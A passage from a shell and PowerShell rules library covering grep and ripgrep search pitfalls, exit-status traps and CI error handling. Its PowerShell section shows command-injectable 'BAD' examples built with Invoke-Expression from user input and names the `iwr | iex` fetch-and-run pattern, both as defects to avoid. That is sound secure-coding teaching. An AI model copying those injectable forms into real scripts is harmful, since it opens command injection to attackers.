        `find -name`, `rsync --filter`, and any flag taking a pattern as its value. This is the
        opposite of `rules/01` §3's advice for filenames: there you quote so *your* shell does not split;
        here you quote so your shell does not *expand* at all.
      - **`setopt nonomatch` is the wrong fix.** It changes global shell behaviour to hide a
        quoting bug and would mask genuine typos in real filename globs.
      - **Positive-control any sweep whose output you will read as an absence** (rules/04): run
        it once against a pattern you know is present, and see the hit. A sweep that has never
        been shown capable of producing a hit is not evidence of a clean tree — the same
        known-good/known-bad discipline `sota-code-security` rules/11 §7 asks of any instrument.
      - Do not rely on the exit status reaching you. Measured: whether the *rest* of the command
        list still runs depends on the failing command — `grep --include=*.md x . ; echo hi`
        prints `hi`, while the same glob passed to a **builtin** (`echo`, `true`) aborts the
        whole list, so the follow-up never runs either. Either way the intended command did not.
      
      ## 2. The sweep that never ran, part two: `grep -r` and symlinked directories
      
      §1 is about a *quoting* bug stopping the command. This is the command running fine and
      **traversing less than you think**.
      
      **`-r` vs `-R` is not one rule — it depends on which `grep` you have.** Re-measured
      2026-09-09 on macOS against a target reachable **only** through the link (the first
      measurement of this table put the target inside the searched root as well, so every row
      found it by walking the real directory and the distinction was invisible — a vacuous
      fixture, `sota-testing` rules/06 §6.3):
      
      | binary | symlinked dir **as the argument** | symlinked dir **met in traversal** |
      |---|---|---|
      | ugrep 7.8.4 **and** GNU grep 3.11, `-r` | followed | **skipped, silently** |
      | ugrep 7.8.4 **and** GNU grep 3.11, `-R` | followed | followed |
      | **BSD grep 2.6.0** (macOS `/usr/bin/grep`) **`-r` and `-R` alike** | **skipped** — unless the argument carries a **trailing slash** (`linked/`) | **skipped, silently** |
      | `rg` (defaults) | followed | **skipped** — `--follow` follows |
      
      ```text
      scan/plain.md          scan/linked -> ../outside   outside/target.md holds the needle
      ugrep      -r → 1 of 2      -R → 2 of 2
      /usr/bin/grep -r → 1 of 2   -R → 1 of 2      (find -L finds both; the file IS readable)
      rg            → 1 of 2      --follow → 2 of 2
      ```
      
      **So on macOS's default grep, `-R` is not the fix**, and "use `-R`" is GNU/ugrep advice wearing
      a generic name. Re-measured 2026-09-13, GNU grep 3.11 matched ugrep cell for cell — the split is
      **BSD versus everyone else**. Verify on the binary in front of you, with a positive control that
      the file is readable through the link — else a permission error and a skipped symlink look alike.
      
      So **a recursive search over any tree that may contain symlinked directories under-reports,
      and the under-report is an empty or short result that reads as a clean answer.** It bites hardest
      where the tree is *made* of links: a skills or plugin directory installed by symlink, a
      monorepo with linked packages, `node_modules` with workspace links, a dotfiles checkout.
      Use `-R` when you mean "follow", and say which you used when you report a count.
      
      **Control the search in the SAME invocation.** §1 says to positive-control a sweep; the
      sharpening is *where*. A control run separately is a different command against a possibly
      different tree, and it is the one people skip when the result looks plausible. Put a term
      you know is present into the same run and read both numbers:
      
      ```bash
      files=("${(@f)$(git ls-files '*.md')}")            # zsh; see `rules/01` §3
      printf 'control=%s  hits=%s\n' \
        "$(grep -lF 'KNOWN_PRESENT' $files | wc -l)" "$(grep -lF "$TERM" $files | wc -l)"
      ```
      
      A control of **0** means the sweep is broken and the `hits=0` beside it means nothing. This
      is `sota-code-security` rules/15 §2.2's known-good, at one-liner scale.
      
      **Where you have nothing to control *with*, print a denominator instead.** A positive control
      needs a term you already know is present — unavailable exactly where this fails most: an
      **extraction** or **fetch** into a blob you have never opened. Field-reported, six empty
      results in one session each read as a fact about the subject — `cpio -i` listed 0 files from
      an RPM (it cannot read zstd payloads), `tar -tzf` found 0 members in a valid 39.8 MB archive,
      a fetch returned an empty page (an anti-bot challenge), `apt-cache depends` printed nothing
      (wrong query shape). Every one was the reader failing, and every one rendered as `0`.
      
      The fix is mechanical and needs no prior knowledge of the target: make each extraction,
      fetch or search emit **what it got** beside **what it found**, in the same invocation.
      
      ```bash
      # BAD  — a fact about the subject, or a broken reader. Indistinguishable.
      rpm2archive -n "$RPM" | tar -xO ./boot/config-* | grep -c CONFIG_BPF_LSM
      
      # GOOD — the denominator localises the failure in one step
      printf 'ARCHIVE_BYTES:%s  MEMBERS:%s  CONFIG_LINES:%s\n' \
        "$(stat -f%z "$TGZ")" "$(tar -tzf "$TGZ" | wc -l)" "$(grep -c '^CONFIG' "$CFG")"
      ```
      
      `CONFIG_LINES:0` alone is a finding about the kernel. `CONFIG_LINES:0` beside
      `ARCHIVE_BYTES:39802880 MEMBERS:0` is a finding about your `tar` invocation. Same rule for a
      store rather than a file — an empty result carries the store's identity *and* its inventory:
      `sota-code-security` rules/13 §6.
      
      **And where a command *reports* what it did, read the result instead.** `cargo clean`
      printed `Removed 740751 files, 75.8GiB total` — specific and authoritative — while `df`
      showed nothing freed, a snapshot still holding the blocks. Two instruments caught it by
      luck, not by design.
      
      **Every searcher has silent-exclusion defaults, and they differ — so the fix is naming them,
      not switching tool.** Measured on one tree holding four matches (plain, hidden, gitignored,
      behind a symlinked dir):
      
      | searcher | found | what it dropped, silently |
      |---|---|---|
      | `rg` (defaults) | **1 of 4** | gitignored, hidden, and symlinked-dir contents |
      | `grep -R` (see below) | 3 of 4 | the gitignored file |
      | `rg --no-ignore` alone | **2 of 4** | **still every hidden dir** — and it searched *more* files |
      | `rg --hidden --no-ignore --follow` | **4 of 4** | — |
      
      **`--no-ignore` is the trap inside the trap.** It is the flag that *sounds* like "stop
      excluding things", so it is the one reached for — and it does not touch hidden directories
      at all. Because it searches strictly more files than the default (measured on one repo:
      **1042 vs 404**), the run reads as the more thorough one while missing the same matches. An
      agent-rules tree is exactly what this hides: `rg PAT .` never enters `.claude/`, `.github/`
      or `.githooks/`. Only `--hidden` reaches them (404 → 576 files, 2 → 4 matching files).
      
      **And check what your `grep` actually is** (`type grep`): agent and IDE environments
      routinely alias it. In one measured case it was a shell *function* running `ugrep -G
      --ignore-files --hidden -I --exclude-dir=.git …` — so it honoured `.gitignore` (which GNU
      grep does not) and skipped binaries, neither of which appears in any manual the reader would
      consult. **An absence measured through an unexamined wrapper is not an absence.**
      
      **Two tools can answer to the same name.** Measured in one agent environment: `grep` was a
      shell *function* running **ugrep 7.8.4**, except that any `-z`/`-Z` argument was routed to
      `command grep` — **BSD grep 2.6.0**, where `-z` means null-data rather than *search inside
      archives*. So `grep --version` and `command grep --version` named different programs, and one
      flag decided which one ran. Call the binary you mean (`ugrep …`, `rg …`) when the semantics
      matter, and check `type grep` before trusting a sweep's flags.
      
      Worth knowing rather than mandating, since availability varies: **ugrep** carries the
      features an audit sweep actually wants — `--bool` for `A AND B NOT C` queries (verified
      working), `-z` to search inside archives and compressed files, `-Z` fuzzy, `-Q` interactive;
      **ripgrep** is fastest and gitignore-aware by default (which is an exclusion, see the table
      above); **ast-grep** answers construct questions regex cannot. Use what is installed, and
      say which.
      
      Choose by the question, not by fashion: a regex tool answers *"does this string appear"*;
      answering *"is this construct used"* wants an AST matcher (`ast-grep`, a language's own
      query API), because a regex generalises from whichever spelling you thought of and cannot
      follow a value into a helper (`sota-code-security` rules/15 §2.1). Use whichever is
      installed — and **report the tool, its flags and its exclusions in the same sentence as the
      count.**
      
      ## 2a. `rg -r` is `--replace`, not "recursive" — the same trap inverted
      
      §2's `grep -r` fabricates a false **absence**. Its twin fabricates false **content**, and
      the reflex that produces it is the same muscle memory:
      
      ```
      rg -rn --no-heading "events_dropped|queue_len" crates/
      ```
      
      `rg` is recursive by default, so `-r` is free to mean `--replace`, and it consumes the next
      argument as the replacement template. Every matching line prints with the match **rewritten**,
      and it exits **0**. Field-measured: that command printed source reading `pub n: u64` and
      `let mut n = 0_u64` — which reads exactly like a field that has been renamed. Three hours
      later, in the same session, it happened again and produced a document containing the phrase
      *"shared n test suite"*.
      
      | | what it does | what the output looks like |
      |---|---|---|
      | `grep -r` over a symlinked dir | silently skips it | "no matches" — a clean absence |
      | `rg -r PATTERN PATH` | rewrites every match to `PATTERN` | real lines, real paths, wrong content, exit 0 |
      
      The absence at least *looks* like nothing. This one looks like evidence, and it is the
      shape you then quote into a finding or a commit message.
      
      **Fix:** `-n` alone for line numbers; `--replace` spelled out when you actually mean it. And
      **`cat` one hit before building an argument on a surprising search result** — the tell here
      was never the exit code, it was that the content was implausible (`sota-code-security`
      rules/15 §2.1, sixth
      bullet). Writing this trap into a personal rules file did **not** prevent the second
      occurrence; noticing the implausible output did.
      
      **A second tell, mechanical rather than judgemental.** `-rn` parses as `-r n`, so the
      `-n` you typed is eaten as the replacement template and never applied. The output comes
      back as `path:content` when you asked for `path:LINE:content` — **if you typed `-n` and
      the line numbers are missing, the content has been rewritten.** Verified on ripgrep 15.2.0,
      both arms, exit 0 each time:
      
      ```console
      $ rg -n  'Missing .*gate for' .     $ rg -rn 'Missing .*gate for' .
      ./b.py:1:beta Missing auth gate...  ./b.py:beta n deletion
      ./a.py:1:alpha Missing auth gate... ./a.py:alpha n deletion
      ```
      
      This matters because the plausibility tell is weakest exactly where you need it: an
      unfamiliar tree, a language you do not write, a rewritten line that is merely odd rather
      than absurd. The line-number test needs no knowledge of the file at all.
      
      **Three independent reporters have now hit this with the rule installed, two with it
      loaded in context.** That is the calibration: the lever is not stating it more loudly.
      A reporter who had written the trap into their own rules file hit it again three hours
      later; another read this section's one-line index entry and hit it fourteen tool calls
      afterwards. Prefer a mechanical tell you can apply to output you already have.
      
      ## 2b. An empty command substitution removes the filter rather than matching nothing
      
      §2 and §2a distrust a suspiciously *empty* result. This points the same discipline at an
      implausibly *full* one:
      
      ```bash
      git log --author="$(get_author)" --oneline | wc -l     # 373 of 373 commits, exit 0
      ```
      
      The substitution expanded to `""` and the filter **matched everything**: asked *"what did this
      person commit?"*, answered *"what is in this repo?"* Quoted, so this is not SC2086.
      
      **Which flags do this, measured 2026-09-13 — the split is the useful part:**
      
      | the flag filters by… | an empty value | measured |
      |---|---|---|
      | **pattern / substring** | **matches everything** | `git log --author=""` and `--grep=""` 373 of 373 · `grep -e ""` 3 of 3 |
      | **identifier** | rejected, or matches nothing | `ps -p ""` exit **1** on BSD *and* procps-ng 4.0.4 · `find -name ""` 0 hits, exit 0 |
      
      So a `--filter`-shaped flag is dangerous when it filters by *pattern*, merely useless when it
      filters by *id*. (Separately: `ps -axo … -p "$pid"` lists **every** process even for a valid
      pid — `-a`/`-x` override `-p` — so an implausibly large result there is the flags.)
      
      Guard the substitution, not the command:
      
      ```bash
      author="$(get_author)"
      [[ -n ${author} ]] || { printf 'no author resolved\n' >&2; return 1; }
      git log --author="${author}" --oneline
      ```
      
      The tell is §2a's: the **result was implausible** before it was wrong — treat one far
      *larger* than expected exactly as a clean zero (`sota-code-security` rules/15 §2.1).
      
      ## 2c. A search pattern that begins with `-` is parsed as a flag
      
      §2a rewrites your output and §2b widens your filter. This one **destroys the query** and
      hands back a clean zero. A pattern is *data*, but the tool sees argv:
      
      ```console
      $ rg -c -F '- [ ]' . 2>/dev/null ; echo "exit=$?"
      exit=2                                  # no output at all
      $ rg -c -F '- [ ]' . 2>&1 | head -1
      rg: unrecognized flag -                 # the evidence 2>/dev/null destroyed
      $ rg -c -F -e '- [ ]' .
      ./t.md:2                                # the real answer
      ```
      
      Field-reported: a tracker sweep reported **zero** unchecked boxes against a real **65**,
      and the session nearly opened by announcing an empty backlog.
      
      **Put the pattern after `-e`, or the argument list after `--`, whenever the pattern is
      data** — not only when you notice it starts with a dash. You will not always notice: the
      same trap bit a `printf` while its victim was building the fixture to demonstrate it.
      
      **And it is shell-dependent, which is why "I tested it" is not an answer.** The identical
      command is correct in one shell and broken in another — measured on one machine:
      
      | | `printf "- [ ] box\n"` | exit |
      |---|---|---|
      | bash 5.3 builtin | `invalid option` | 2 |
      | zsh 5.9 builtin | prints correctly | 0 |
      | `/usr/bin/printf` (BSD) | `illegal option` | 1 |
      | `/bin/sh` | `invalid option` | 2 |
      
      A contributor who checks this in zsh concludes the trap is imaginary. Three different
      exit codes across four implementations, and only one of them is success.
      
      **The combination never to write** is a `-`-leading pattern **+** `2>/dev/null` **+**
      `$?` read after a pipe: the first manufactures the wrong answer, the second hides the
      reason, and the third certifies it (`rules/01` §3 for why `$?` after a pipeline is the
      last stage's status).
      
      ## 2d. `cmd 2>/dev/null || echo "missing X"` reports your broken sweep as their defect
      
      The `||` arm is meant to mean *"the pattern was absent."* It fires on **every** non-zero
      exit, and `2>/dev/null` has already destroyed the evidence of which one. `grep` exits `1`
      for no-match and `2` for an unreadable or missing path — `||` cannot tell them apart:
      
      ```console
      # one path in the list does not exist
      $ grep -rnE 'Werror|/WX' CMakeLists.txt cmake/ Makefile_absent 2>/dev/null || echo "no -Werror"
      CMakeLists.txt:1:add_compile_options(-Werror)
      no -Werror          <- it printed the match AND the verdict that contradicts it
      
      $ grep -rnE 'Werror' CMakeLists.txt Makefile_absent >/dev/null 2>&1 ; echo $?   # 2, path missing
      $ grep -rnE 'ZZZ'    CMakeLists.txt                 >/dev/null 2>&1 ; echo $?   # 1, truly absent
      ```
      
      The failure is **directional**: it manufactures findings rather than hiding them, so an
      auditor sees plausible output and files it against someone's codebase. In zsh an unquoted
      `Makefile*` that matches nothing raises NOMATCH and aborts the whole command, so neither
      the `grep` nor the `|| echo` runs and the item silently yields nothing at all (§1).
      
      **Never suppress stderr on a sweep whose *absence* you intend to report.** Branch on the
      exit code you actually mean, and print the captured stderr beside the verdict:
      
      ```sh
      err=$(grep -rnE "$pat" $paths 2>&1 >/dev/null); rc=$?
      case $rc in
        0) echo "FOUND" ;;
        1) echo "ABSENT" ;;
        *) echo "SWEEP FAILED (rc=$rc): $err" ;;   # never the same branch as ABSENT
      esac
      ```
      
      This library shipped the broken form in **11 files** of its own audit checklists until
      v1.42.2 — found by a reporter, not by any gate. A checklist line is a control, and a
      control that cannot distinguish "clean" from "did not run" is the silent-control-failure
      shape (`sota-code-security` rules/10).
      
      ## 2e. A label that states the verdict is not evidence of the verdict
      
      §2d's `|| echo` fires on any non-zero exit. This is its **unconditional** twin, and it is
      worse, because it fires always:
      
      ```bash
      ps -axo pid=,command= | grep -c "[m]y-job"; echo "^ 0 = nothing running"   # printed 1
      ```
      
      The label is typed **before** the command runs, so it records what you expected rather than
      what happened — and it renders in the same block as the real output, where prediction and
      measurement are typographically identical on re-reading. `;` cannot propagate a
      contradiction, and a literal string cannot be falsified by the line above it.
      
      Measured 2026-09-18: four instances in one session, each contradicted by the output directly
      beneath it. The costly one asserted a rule was **absent from a corpus** one line above output
      proving it was present — the next step would have been adding a rule that already existed.
      
      **Print the value, not your reading of it.** Where a verdict is genuinely needed, derive it
      from the same variable the command produced:
      
      ```bash
      n=$(ps -axo command= | grep -c "[m]y-job")
      [ "$n" -eq 0 ] && echo "none running" || echo "$n still running"
      ```
      
      That is `sota-code-security` rules/14 §1 applied to your own scrollback: a claim is sited in
      the **consumer**, derived from the value it actually received. **The tell on review** is a
      line beginning `^`, `(` or `<-` that asserts a *state* rather than naming a *quantity*. Read
      the output above it before believing it — including your own.
      
      ## 2f. A word-boundary escape is a property of the machine, not of the tool
      
      `\b` and `\<` are not portable, and failing them is **silent**: no match, exit 1,
      indistinguishable from a true absence. The same pattern, the same git and the same repository
      **answer differently on different machines** — that part is measured below, on four builds.
      
      The *mechanism* is verified on one of them and is stated at that width: on the macOS build,
      `nm -u` shows `_regcomp` **imported** with only git's own `_git_regcomp` wrapper defined, so
      that git inherits the platform's regex rather than carrying its own. Do not assume the same
      linkage elsewhere — the equivalent check on an Alpine build returned neither an imported nor a
      defined `regcomp` while `nm -D` still listed 252 symbols, which is a fact about that
      instrument, not about the binary. **You do not need the mechanism to act on this**: the
      behaviour is the rule, and the control below is what makes it visible.
      
      Measured 2026-09-18 over a file containing `53`, control (`53` alone) matching in every row:
      
      | platform | git | `\b` / `\<` | `[[:<:]]` |
      |---|---|---|---|
      | macOS, system BSD regex | 2.55.0 | **no match** | matches |
      | Debian, glibc | 2.39.5 and 2.47.3 | matches | **no match** |
      | Alpine, musl | 2.45.4 | matches | — |
      
      **There is no version to pin** — three older gits match `\b` and the newest does not. The GNU
      and BSD forms are **mutually exclusive**, so neither is portable. Use `-P` where PCRE is
      compiled in, or drop the boundary and filter afterwards.
      
      This cost two false absences in one session: a count search over an agent file that plainly
      contained the number, and a reference sweep that reported zero while five references existed.
      Both were caught only because a second, differently-shaped measurement disagreed. **Run §2's
      positive control on the search itself** — §2 states that control under a heading about
      symlinked directories, where it reads as advice about traversal rather than about every
      search, and that placement is why it was skipped here.
      
      
      ## Audit checklist
      
      - [ ] **Command substitutions that supply a filter are guarded for empty** (§2b) — an empty
            value makes a **pattern** flag match everything (`git log --author=""` returned 373 of
            373); an identifier flag rejects it instead. An implausibly LARGE result is the tell
      
      - [ ] **No `rg -r` used to mean "recursive"** (§2a) — it is `--replace`, it rewrites every
            match to the next argument and exits 0, so the output is false *content* rather than a
            false absence. `grep -rn 'rg -r' ` your own scripts and scrollback before quoting a
            surprising search result
      
      - [ ] **Is any search pattern passed as a bare argument when it could begin with `-`?** (§2c)
            It is parsed as a flag, the error goes to stderr, and you get a clean zero. Use `-e
            PATTERN` or `--` whenever the pattern is *data*. The unforgivable combination is
            `-`-leading pattern + `2>/dev/null` + `$?` after a pipe. Shell-dependent: the same
            `printf` succeeds in zsh and fails in bash, so one green run proves nothing.
      - [ ] **Does any check report an absence through `|| echo` with stderr suppressed?** (§2d)
            `cmd 2>/dev/null || echo "missing X"` fires on *every* non-zero exit — grep's `2`
            (unreadable path) is indistinguishable from `1` (absent) once stderr is gone, and it
            manufactures findings about someone else's code. Branch on the exit code and print the
            captured stderr. Sweep your own checklists for the shape: `grep -rn '2>/dev/null ||'`.
      
      - [ ] **Does any command carry a hardcoded label asserting its own result?** (§2e) — a
            trailing `; echo "^ 0 = ..."` is a prediction typed before the run, and `;` cannot
            propagate a contradiction. Sweep your own scripts and scrollback for `; *echo` beside
            a counting command; print the value and derive any verdict from the variable the
            command produced
      - [ ] **Does any search rely on `\b` or `\<`?** (§2f) — absent from BSD/macOS regex, and
            `git grep` inherits the platform's, so the same pattern silently returns zero on one
            machine and matches on another. There is no version to pin. Use `-P`, the POSIX
            bracket form, or no boundary at all — and control the search
      - [ ] **Sweeps: is the searcher's traversal and exclusion set stated with the count?** (§2)
            `-r` skips symlinked dirs met in traversal and `-R` follows **only on ugrep/GNU** —
            on BSD grep (macOS `/usr/bin/grep`) neither does; `rg` skips gitignored and hidden by
            default; `type grep` may reveal a wrapper. Control the sweep with a known-present term
            **in the same invocation**.
      - [ ] **Every extraction or fetch printed a denominator** (§2) — bytes retrieved, members
            listed, total files — in the **same invocation** as the result read from it. `LINES:0`
            alone is a fact about the subject; `LINES:0` beside `MEMBERS:0 BYTES:39802880`
            localises it to the reader. Required wherever a positive control is unavailable
            because nothing is known to be present in the target yet.
      - [ ] **zsh joining bugs** (the inverse of SC2086, and unlinted): in any zsh script or
            snippet, `grep -nE '\$\{[a-zA-Z_]+:\+[^}]*\$' -e '[a-z] \$[a-zA-Z_]+$'` for
            `${var:+--flag $var}` and bare `cmd $args`. Each passes **one** argument in zsh
            where bash passes several. Confirm by running it: `printf "[%s]" $args` prints one
            bracket group, `${=args}` prints several. Symptom to recognise in a bug report — a
            **usage error (exit 2) from the callee**, which looks like the tool is broken.
      
    • 07-powershell.md 15.5 KB
      # 07 — PowerShell (`pwsh`) — CI steps, deploy scripts, entrypoints
      
      Scope: this skill's premise is that shell hides in CI blocks, entrypoints and Makefile
      recipes (`rules/04`). On a Windows runner — and increasingly on Linux ones — that shell is
      PowerShell, and **none of `set -euo pipefail`, `${PIPESTATUS[0]}` or ShellCheck exists
      there**. The failure classes are the same; the mechanisms are not. Read this together with
      `rules/01` §3 (the safety baseline it replaces) and `rules/06` (ad-hoc commands, where the
      exit-status traps below bite hardest).
      
      Two dialects, and they are different products: **PowerShell 7.x** (`pwsh`, cross-platform,
      MIT-licensed, ships separately) and **Windows PowerShell 5.1** (`powershell.exe`, a Windows
      OS component, frozen). Guidance below is for 7.x unless it says otherwise. Versions and
      end-of-support dates are in §7 — check them before you pin.
      
      ## 1. There is no `set -euo pipefail`. Assemble the equivalent, and know what it misses
      
      **Rule: a PowerShell script that matters opens with an explicit error posture, because the
      defaults continue past errors.**
      
      `$ErrorActionPreference` defaults to **`Continue`** — Microsoft's own table — and it
      "[d]etermines how PowerShell responds to a non-terminating error, an error that doesn't stop
      the cmdlet processing." So a failing cmdlet prints red text and the script carries on, which
      is the `set -e`-less behaviour in `rules/01` §3 with a more convincing error message.
      
      ```powershell
      #!/usr/bin/env pwsh
      Set-StrictMode -Version Latest        # undeclared variables & bad property refs become errors
      $ErrorActionPreference = 'Stop'       # cmdlet errors terminate  (default: Continue)
      $PSNativeCommandUseErrorActionPreference = $true   # native non-zero exits too (default: $false)
      ```
      
      - **`$ErrorActionPreference` is wider than `-ErrorAction`.** The preference variable "applies
        to **both** non-terminating and statement-terminating errors", while the `-ErrorAction`
        parameter "only affects non-terminating errors". Setting one per-call is not the same
        control as setting the posture.
      - **The line that is actually missing is the third one.** `$PSNativeCommandUseErrorActionPreference`
        defaults to **`$false`**: when it is `$true`, "native commands with non-zero exit codes issue
        errors according to `$ErrorActionPreference`." Left at the default, `$ErrorActionPreference =
        'Stop'` does **nothing** for `git`, `docker`, `kubectl`, `terraform`, `msbuild` or any other
        executable — a failed `git push` mid-script is invisible and the script runs on. This is the
        single highest-yield defect in PowerShell CI, and it looks fixed because the second line is
        present. (PowerShell 7.4 added control over how `stderr` writes are handled; 7.2 stopped
        redirected native errors reaching `$Error`.)
      - **Deliberate non-zero exits exist**: `robocopy` uses exit codes as information. Scope the
        opt-out to the call rather than the script, as Microsoft's own example does — a scriptblock
        setting `$PSNativeCommandUseErrorActionPreference = $false`, then checking `$LASTEXITCODE`
        explicitly.
      - **`try/catch` only catches *terminating* errors.** A non-terminating error under `Continue`
        never enters `catch`. Either set the posture above or pass `-ErrorAction Stop` on the call
        you are guarding; a `catch` around unguarded cmdlets is decoration.
      - Audit: a `.ps1` under `ci/`, `deploy/` or a container entrypoint with no
        `$ErrorActionPreference` line = **High**; one that sets it but not
        `$PSNativeCommandUseErrorActionPreference` while calling native tools = **High** (the
        control is present and inert — `sota-code-security` rules/10).
      
      ## 2. Three ways to read "did that work", and they disagree
      
      **Rule: name which status you are reading, and never read a status through a wrapper that
      does not propagate it.** This is `rules/06`'s table for bash, re-derived: the mechanism
      differs, the false green is identical.
      
      | you read | it means | the trap |
      |---|---|---|
      | `$?` | execution status of the **last command**: `True` if it succeeded | set by `Write-Error` **but not for the function that called it** |
      | `$LASTEXITCODE` | "the exit code of the last **native program or PowerShell script**" | unset if no native command has run yet; a stale value otherwise |
      | `throw` / `catch` | a terminating error | never fires for a non-terminating one, nor for a native non-zero exit at the default preference |
      
      - **`$?` does not climb out of a function.** Microsoft's documented example: a function that
        calls `Write-Error` shows `$?` as `False` *inside* the function and **`True`** on the next
        line outside it. "The `Write-Error` cmdlet always sets `$?` to **False** immediately after
        it's executed, but won't set `$?` to **False** for a function calling it" — use
        `$PSCmdlet.WriteError()` when the caller must see it. A wrapper function that validates
        input and `Write-Error`s on bad input therefore reports success to its caller.
      - **For executables the two agree by construction**: `$?` "is set to **True** when
        `$LASTEXITCODE` is 0, and set to **False** when `$LASTEXITCODE` is any other value." So for
        native tools, read `$LASTEXITCODE` — it carries the number, and `$?` throws it away.
      - **`$LASTEXITCODE` is not reset by a cmdlet.** Only a native command or a script's `exit`
        moves it, so a check after a cmdlet-only stretch reads whatever the last executable left
        there — the stale-status shape of `rules/06` §1.
      - **A pipeline has no `PIPESTATUS`.** PowerShell pipelines pass objects, not exit codes; there
        is nothing to index. If you need the producer's status, do not pipe it — capture output and
        check `$LASTEXITCODE` on its own line, the same conclusion `rules/01` §3 reaches for zsh.
      - Audit: `if ($?)` after anything other than the immediately preceding native command =
        **Medium**; a wrapper function whose only failure signal is `Write-Error` = **High**.
      
      ## 3. `pwsh -File` and `pwsh -Command` end differently
      
      **Rule: know which invocation form your CI uses, because they derive the process exit code by
      different rules.** From `about_Automatic_Variables`:
      
      - Called with **`-File`**, `$LASTEXITCODE` is `1` "if the script terminated due to an
        exception", the value of `exit` if used, or `0` on success.
      - Called with **`-Command`**, it is `1` "if the script terminated due to an exception **or if
        the result of the last command set `$?` to `$false`**", and `0` "if the script completed
        successfully and the result of the last command set `$?` to `$true`".
      
      So under `-Command` the **last statement decides the verdict**. A step that ends with a
      `Write-Host` summary, a cleanup call, or a log tail reports success no matter what failed
      three lines earlier — the masked-exit-code defect of `rules/06`, promoted to an entire CI
      step. End such a script with an explicit `exit` you computed, never with a convenience call.
      
      ## 4. GitHub Actions: the built-in shell is safe, and opting out silently removes the safety
      
      **Rule: use the bare `shell: pwsh` keyword, and treat any custom shell string as taking over
      responsibility for fail-fast and exit propagation.**
      
      For the built-in `pwsh` and `powershell` keywords, GitHub prepends `$ErrorActionPreference =
      'stop'` to the script and appends `if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) {
      exit $LASTEXITCODE }`, so the step's status reflects the script's last exit code
      ([workflow syntax](https://docs.github.com/en/actions/reference/workflows-and-actions/workflow-syntax)).
      That is a good default and it is **not inherited** by a custom shell:
      
      ```yaml
      - shell: pwsh                 # GOOD: fail-fast prepended, exit code appended
        run: ./deploy.ps1
      - shell: pwsh -File {0}       # BAD: both the prepend and the append are gone
        run: ./deploy.ps1
      ```
      
      - **The prepend does not cover native commands.** It sets `$ErrorActionPreference`, not
        `$PSNativeCommandUseErrorActionPreference` (§1), so a failing `terraform` or `docker` in the
        middle of a step still does not stop it. The appended `exit $LASTEXITCODE` rescues only the
        case where the failing executable was the **last** one to run.
      - **The append is conditional on the variable existing** (`Test-Path variable:\LASTEXITCODE`).
        A step that runs no native command never sets it, so the append is a no-op and the step's
        status comes from pwsh itself.
      - `shell: powershell` is **Windows PowerShell 5.1**, a different product with a different
        engine; and on a self-hosted Windows runner without PowerShell Core installed, `pwsh` falls
        back to it. Pin the dialect you tested (§7).
      - Audit: a custom `shell:` string wrapping PowerShell with no explicit `exit` = **High** —
        this is `sota-devsecops` rules/09's "the gate's own exit code" question, one layer down.
      
      ## 5. Injection: `Invoke-Expression` is `eval`, and string-built commands are the same defect
      
      **Rule: never interpolate untrusted input into a command string.** `rules/03` §1 in
      PowerShell's vocabulary — the sinks differ, the class does not.
      
      ```powershell
      # BAD — every one of these is eval
      Invoke-Expression "Get-Item $userPath"
      & ([scriptblock]::Create($fromRequest))
      $cmd = "git checkout $branch"; Invoke-Expression $cmd
      
      # GOOD — arguments stay arguments
      Get-Item -LiteralPath $userPath
      git checkout -- $branch
      $params = @{ Path = $userPath; Recurse = $true }; Get-ChildItem @params   # splatting
      ```
      
      - **`-LiteralPath` over `-Path`** wherever the value is not yours: `-Path` interprets `*`,
        `?` and `[ ]` as wildcards, so a filename containing them silently selects other files, or
        nothing. The quiet-wrong-set shape of `rules/06`.
      - **Splatting (`@params`) is the array-for-command-building rule** of `rules/05`: it keeps
        arguments as data instead of re-parsing a string.
      - **Argument passing to native commands differs by platform**:
        `$PSNativeCommandArgumentPassing` defaults to `Windows` on Windows and `Standard`
        elsewhere, so the same script can pass arguments differently on a Windows runner and a
        Linux one. Test on the platform you deploy to.
      - **Double quotes interpolate, single quotes do not** — `"$x"` and `"$($x.Prop)"` expand,
        `'$x'` is literal. A password or token in a double-quoted string headed for a command line
        is `rules/03` §2's argv-exposure defect.
      - Audit: any `Invoke-Expression`/`iex` reachable from input = **Critical** if the input
        crosses a trust boundary; `-Path` with an externally supplied value = **Medium**.
      
      ## 6. Execution policy is not a security control
      
      **Rule: never present `Set-ExecutionPolicy` as a defence, and never treat `-ExecutionPolicy
      Bypass` in a pipeline as a finding on its own.** Microsoft is explicit: "The execution policy
      isn't a security boundary, it's defense in depth. For example, users can easily bypass a
      policy by typing the script contents at the command line when they can't run a script."
      
      - **Enforcement is Windows-only.** On non-Windows "the default execution policy is
        **Unrestricted** and can't be changed"; `Get-ExecutionPolicy` returns `Unrestricted` but
        "the behavior really matches **Bypass**". A cross-platform script that reasons about policy
        is reasoning about nothing on two of its three platforms.
      - The real controls are the ones this library already names: signing and provenance
        (`sota-devsecops` rules/03), least privilege for the account the script runs as
        (`sota-sandboxing`), and not fetching code at runtime (`rules/03` §5 on `curl|bash`, whose
        PowerShell form is `iwr ... | iex` and is the same defect).
      - `Unblock-File` clears the mark-of-the-web; note that `curl.exe`, `Invoke-RestMethod` and
        `Invoke-WebRequest` do **not** set it, so a download through them is never marked in the
        first place.
      - Audit: a remediation that says "set the execution policy to RemoteSigned" and stops =
        **Info, and wrong** — record what actually gates execution.
      
      ## 7. Versions, and the EOL date beside each one
      
      Operating principle 1: a version with no end-of-support date beside it has not been looked
      up. From Microsoft's support-lifecycle page (checked 2026-09-14 — re-check before pinning,
      because two of these fall inside two months):
      
      | release | released | end of support | note |
      |---|---|---|---|
      | PowerShell 7.6 (LTS) | 18-Mar-2026 | **14-Nov-2028** | current LTS; prefer for new work |
      | PowerShell 7.5 | 23-Jan-2025 | **10-Nov-2026** | current Stable |
      | PowerShell 7.4 (LTS) | 16-Nov-2023 | **10-Nov-2026** | previous LTS |
      | Windows PowerShell 5.1 | Aug-2016 | tied to the **Windows** lifecycle | an OS component, not this product; no new features |
      
      - **5.1 is not "old PowerShell", it is a different runtime** (.NET Framework, `Desktop`
        edition). Scripts that work under `pwsh` can fail under it, and `shell: powershell` in CI
        selects it. If you must support both, say so and test both.
      - PowerShell 7.x support "follows the support lifecycle of .NET", so a PowerShell EOL is
        really the underlying .NET EOL — check both when a pin has to be justified.
      
      ## 8. Lint and format, because ShellCheck does not run here
      
      **Rule: PowerShell gets its own analyser in CI, gating at the same severity as ShellCheck
      does for bash (`rules/03` §7).** The analyser is
      [PSScriptAnalyzer](https://github.com/PowerShell/PSScriptAnalyzer) (`Invoke-ScriptAnalyzer`),
